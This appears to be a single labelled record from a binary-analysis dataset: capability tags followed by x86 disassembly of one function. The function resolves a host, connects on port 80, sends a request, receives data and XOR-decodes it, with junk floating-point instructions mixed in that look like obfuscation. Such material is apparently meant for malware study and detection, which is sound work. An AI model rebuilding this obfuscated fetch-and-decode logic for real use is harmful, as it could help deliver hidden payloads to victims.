Function at 0x408810
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040c6b0
push 0xffffffffffffffff
push 0x41e5db
mov eax, dword fs:[0]
push eax
sub esp, 0x44
mov eax, dword [0x425e40]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
xor ebx, ebx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], ebx
mov byte [ebp + 0x1a4], bl
fldz
mov esi, dword [ebp + 0x1448]
fst qword [ebp - 0x50]
fldz
xor edx, edx
fst dword [ebp - 0x24]
mov eax, esi
fst dword [ebp - 0x2c]
mov byte [ebp + 0x11bc], dl
fxch st(1)
mov byte [ebp - 4], 1
fst qword [ebp - 0x40]
mov word [ebp - 0x28], dx
fst qword [ebp - 0x48]
mov dword [ebp - 0x1c], ebx
fxch st(1)
fstp dword [ebp - 0x30]
lea edx, [eax + 1]
mov dword [ebp - 0x18], ebx
fstp qword [ebp - 0x38]
jmp 0x4088c0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4088c0
fld qword [ebp - 0x48]
sub eax, edx
fadd qword [ebp - 0x40]
mov edi, eax
cmp edi, 0x7f
fstp qword [ebp - 0x48]
jg 0x408bb0
xor eax, eax
nop
cmp eax, edi
jg 0x408918
mov cl, byte [eax + esi]
mov byte [ebp + eax + 0x13bc], cl
cmp cl, 0x2f
jne 0x408915
mov byte [ebp + eax + 0x13bc], 0
mov ecx, eax
lea ecx, [ecx]
cmp ecx, edi
jg 0x408918
mov bl, byte [ecx + esi]
mov edx, ecx
sub edx, eax
mov byte [ebp + edx + 0x11bc], bl
inc ecx
jmp 0x408900
inc eax
jmp 0x4088e0
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408921
mov edi, dword [ebp - 0x14]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408934
sub eax, esi
add eax, edx
cmp eax, 0x1ff
ja 0x408b98
mov eax, edi
mov edx, edi
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408950
lea edi, [ebp + 0x11bc]
or ebx, 0xffffffff
sub eax, edx
add edi, ebx
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408964
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x424b68
rep movsb byte es:[edi], byte [esi]
call fcn.00401e60
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408990
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.004085f0
fldz
xor eax, eax
fstp qword [ebp - 0x40]
xor edi, edi
mov dword [esi], eax
push esi
mov dword [ebp - 0x14], edi
mov byte [esi + 4], al
call fcn.0040b29b
lea eax, [ebp + 0x11bc]
add esp, 4
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4089d0
sub eax, edx
push eax
lea ecx, [ebp + 0x11bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.004086d0
push 0x32
push 0x423070
call fcn.00401e60
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408a00
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.004086d0
fldz
push 0x32
fstp qword [ebp - 0x40]
push edi
mov dword [ebp - 0x14], edi
push esi
call fcn.0040b330
push esi
call fcn.0040b29b
mov edx, dword [0x424b74]
add esp, 0x10
add edx, 0x1ce7d4dd
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
lea eax, [ebp + 0x13bc]
lea edx, [eax + 1]
fadd qword [ebp - 0x50]
fstp qword [ebp - 0x50]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408a51
sub eax, edx
push eax
lea eax, [ebp + 0x13bc]
push eax
lea ecx, [ebp + 0x1a0]
call fcn.004086d0
fld dword [0x4230ac]
mov cx, word [ebp - 0x28]
movsx edx, cx
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
faddp st(1)
fcomp qword [0x41f8d0]
fnstsw ax
test ah, 0x41
jne 0x408aaa
fld qword [ebp - 0x50]
fsub qword [0x41f8c8]
fadd qword [0x41f8c0]
fadd dword [0x4230a4]
fstp dword [0x4230a4]
push 5
push 0x423644
call fcn.00401e60
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408ac0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.004086d0
fldz
xor eax, eax
fstp qword [ebp - 0x40]
mov dword [esi], eax
mov dword [ebp - 0x14], edi
push esi
mov byte [esi + 4], al
call fcn.0040b29b
add dword [ebp - 0x18], ebx
fld qword [ebp - 0x38]
fsub dword [ebp - 0x30]
add esp, 4
fadd qword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fcompp
fnstsw ax
fld dword [ebp - 0x30]
fld1
fsub st(1), st(0)
fxch st(1)
fstp dword [ebp - 0x30]
test ah, 0x41
jne 0x408b44
fsubr qword [ebp - 0x38]
fstp qword [ebp - 0x38]
fld qword [ebp - 0x38]
mov ecx, dword [ebp - 0x1c]
add ecx, 0x5f330ff4
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fucompp
fnstsw ax
test ah, 0x44
jnp 0x408b46
fld dword [0x41f8b8]
fstp dword [ebp - 0x24]
jmp 0x408b46
fstp st(0)
lea edx, [ebp]
push edx
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x408b98
mov ecx, dword [0x425d40]
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fadd qword [ebp - 0x50]
fsubp st(1)
call fcn.0040b1f0
push 6
push 1
mov dword [0x425d40], eax
inc dword [ebp - 0x18]
push 2
call sub.WS2_32.dll_socket
mov esi, eax
mov dword [ebp - 0x14], esi
cmp esi, ebx
jne 0x408bd5
call sub.WS2_32.dll_WSACleanup
cmp dword [ebp + 0x1b8], 0x10
jb 0x408bb0
mov eax, dword [ebp + 0x1a4]
push eax
call fcn.0040ad78
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b8e4
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 0x1458], edi
je 0x408c16
add dword [ebp - 0x18], ebx
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x4b3c438
jle 0x408bfd
fld dword [0x425ba4]
fsubr qword [0x41f8b0]
fstp qword [0x4234d0]
push 4
lea edx, [ebp + 0x1458]
push edx
push 0x1006
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
lea eax, [ebp + 0x13bc]
push eax
call sub.WS2_32.dll_gethostbyname
fld dword [ebp - 0x2c]
fsub qword [0x41f8a8]
fadd dword [ebp - 0x24]
fadd dword [ebp - 0x24]
fstp dword [ebp - 0x24]
cmp eax, edi
jne 0x408c44
cmp dword [ebp + 0x1b8], 0x10
jmp 0x409081
mov edx, 2
mov word [ebp + 0x190], dx
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
mov dword [ebp + 0x194], eax
add word [0x424ba8], bx
mov ax, word [0x424ba8]
mov edx, dword [ebp - 0x18]
movsx ecx, ax
mov eax, 0x171d511b
sub eax, ecx
sub edx, 0x4e5eb4a0
cmp edx, eax
je 0x408ca9
mov eax, dword [0x424de0]
add eax, 0x5abc3784
mov dword [ebp - 0x1c], eax
fild dword [ebp - 0x1c]
fmul qword [0x424038]
fstp qword [0x424038]
push 0x50
call sub.WS2_32.dll_htons
mov edi, 0x10
push edi
lea ecx, [ebp + 0x190]
push ecx
push esi
mov word [ebp + 0x192], ax
call sub.WS2_32.dll_connect
cmp eax, ebx
jne 0x408ce6
cmp dword [ebp + 0x1b8], edi
jb 0x408bb0
mov edx, dword [ebp + 0x1a4]
push edx
jmp 0x408ba8
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x408cfa
lea eax, [ebp + 0x1a4]
mov ecx, dword [ebp + 0x1b4]
push 0
push ecx
push eax
push esi
call sub.WS2_32.dll_send
cmp eax, dword [ebp + 0x1b4]
jb 0x408cce
mov ecx, dword [ebp - 0x20]
push 0
push 0x41f8a0
call fcn.004085f0
or edi, 0xffffffff
or ebx, edi
mov ecx, dword [ebp - 0x14]
push 0
push 0x1000
lea eax, [ebp + 0x1bc]
push eax
push ecx
call sub.WS2_32.dll_recv
test eax, eax
jle 0x408f1c
mov ecx, dword [ebp - 0x20]
push eax
lea edx, [ebp + 0x1bc]
push edx
call fcn.004086d0
test edi, edi
jge 0x408ed1
push 5
push 0x423644
call fcn.00401e60
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408d71
mov ecx, dword [ebp - 0x20]
sub eax, edx
push eax
push 0
push esi
call fcn.00404b40
fld dword [0x42368c]
fsubr qword [0x41f898]
mov edi, eax
fcomp qword [0x41f890]
fnstsw ax
fld dword [0x42368c]
fadd qword [0x41f340]
fstp dword [0x42368c]
test ah, 1
jne 0x408ddf
mov ax, word [ebp - 0x28]
mov dx, word [0x424efc]
inc dword [ebp - 0x28]
movsx ecx, ax
movsx eax, dx
mov edx, 0x8ef924f5
sub ecx, 0x68140839
sub edx, eax
cmp edx, ecx
jl 0x408de6
mov eax, dword [0x425b38]
jmp 0x408de6
mov dword [ebp - 0x1c], 0x96776d20
fldz
xor eax, eax
mov dword [esi], eax
fstp qword [ebp - 0x40]
mov dword [ebp - 0x1c], eax
push esi
mov byte [esi + 4], al
call fcn.0040b29b
fld qword [ebp - 0x38]
mov cx, word [0x425b80]
fadd qword [0x41f888]
movsx edx, cx
mov dword [ebp - 0x1c], edx
add esp, 4
fild dword [ebp - 0x1c]
fsubp st(1)
fmul qword [0x423fc8]
fstp qword [0x423fc8]
dec word [0x425b80]
test edi, edi
jl 0x408ed1
mov ax, word [0x4230ec]
mov edx, dword [ebp - 0x20]
movsx ecx, ax
mov dword [ebp - 0x1c], ecx
push edx
add edi, 4
fild dword [ebp - 0x1c]
fadd dword [ebp - 0x24]
fsub qword [0x41f880]
fstp dword [ebp - 0x30]
call fcn.004075f0
mov ebx, eax
add esp, 4
mov dword [ebp - 0x1c], ebx
test ebx, ebx
jge 0x408eba
inc dword [0x423684]
mov eax, dword [ebp - 0x18]
mov ecx, dword [0x423684]
mov edx, dword [0x4236c4]
add eax, ecx
imul edx, eax
push 0xb
mov dword [0x4236c4], edx
dec dword [ebp - 0x18]
push 0x42401c
call fcn.00401e60
mov ecx, dword [ebp - 0x20]
add esp, 8
mov esi, eax
push 0
push esi
call fcn.00406940
push esi
push 0xb
mov ebx, eax
call fcn.00401720
add esp, 8
test ebx, ebx
jge 0x408f1c
mov ebx, dword [ebp - 0x1c]
fld qword [str.jz]
fadd qword [0x41f878]
call fcn.0040b1f0
mov word [0x423040], ax
test ebx, ebx
jl 0x408ee1
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x14]
sub eax, edi
cmp eax, ebx
jae 0x408f1c
cmp dword [ebp + 0x1458], 0
je 0x408d26
fld dword [ebp - 0x30]
mov cx, word [ebp - 0x28]
fsub qword [0x41f870]
mov eax, dword [ebp - 0x20]
movsx edx, cx
mov dword [ebp - 0x1c], edx
fild dword [ebp - 0x1c]
faddp st(1)
fadd dword [ebp - 0x2c]
cmp dword [eax + 0x14], 0x4000
fstp dword [ebp - 0x2c]
jb 0x408d26
mov ecx, dword [ebp - 0x14]
push ecx
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
test edi, edi
jl 0x408f51
fld dword [0x4236dc]
fsubr qword [0x41f868]
call fcn.0040b1f0
mov esi, dword [ebp - 0x20]
push edi
push 0
mov ecx, esi
mov dword [ebp - 0x18], eax
call fcn.004068b0
jmp 0x408f54
mov esi, dword [ebp - 0x20]
fld qword [ebp - 0x48]
mov edi, 0x10
fld1
fadd st(1), st(0)
fxch st(1)
fstp qword [ebp - 0x48]
fld dword [0x42301c]
mov edx, dword [0x423fc0]
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
mov dl, byte [ebp + 0x1454]
fadd dword [0x423554]
fsub qword [ebp - 0x48]
fsubp st(1)
fstp dword [0x42301c]
fld dword [0x423554]
fadd st(1)
fstp dword [0x423554]
dec dword [0x423fc0]
test dl, dl
je 0x409039
fld qword [0x41f860]
xor ecx, ecx
fld qword [0x41f858]
lea ebx, [edi - 0xf]
fld qword [0x41f850]
cmp ecx, dword [esi + 0x14]
jae 0x409033
cmp dword [esi + 0x18], edi
jb 0x408fd0
mov eax, dword [esi + 4]
jmp 0x408fd3
lea eax, [esi + 4]
xor byte [eax + ecx], dl
fld dword [0x4236dc]
fsub st(4)
fstp dword [0x4236dc]
fld qword [0x424f28]
fadd st(3)
fadd st(2)
fld dword [0x4236dc]
fadd st(2)
fcompp
fnstsw ax
fld qword [0x424f28]
fadd st(4)
fstp qword [0x424f28]
test ah, 5
jp 0x40902f
fld dword [0x4234f0]
mov ax, word [str.jl4Z_]
cwde
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fsubp st(1)
fadd dword [ebp - 0x2c]
fstp dword [ebp - 0x2c]
add word [str.jl4Z_], bx
add ecx, ebx
jmp 0x408fc1
fstp st(2)
fstp st(0)
fstp st(0)
fld dword [0x4234f0]
fadd qword [0x41f848]
fsub qword [0x41f840]
fcomp qword [0x41f838]
fnstsw ax
test ah, 1
jne 0x409079
fadd qword [0x4234e0]
fstp qword [0x4234e0]
fld qword [0x4234e0]
fadd dword [ebp - 0x24]
call fcn.0040b1f0
mov dword [str.pMt], eax
jmp 0x40907b
fstp st(0)
cmp dword [ebp + 0x1b8], edi
jb 0x408bb0
mov ecx, dword [ebp + 0x1a4]
push ecx
jmp 0x408ba8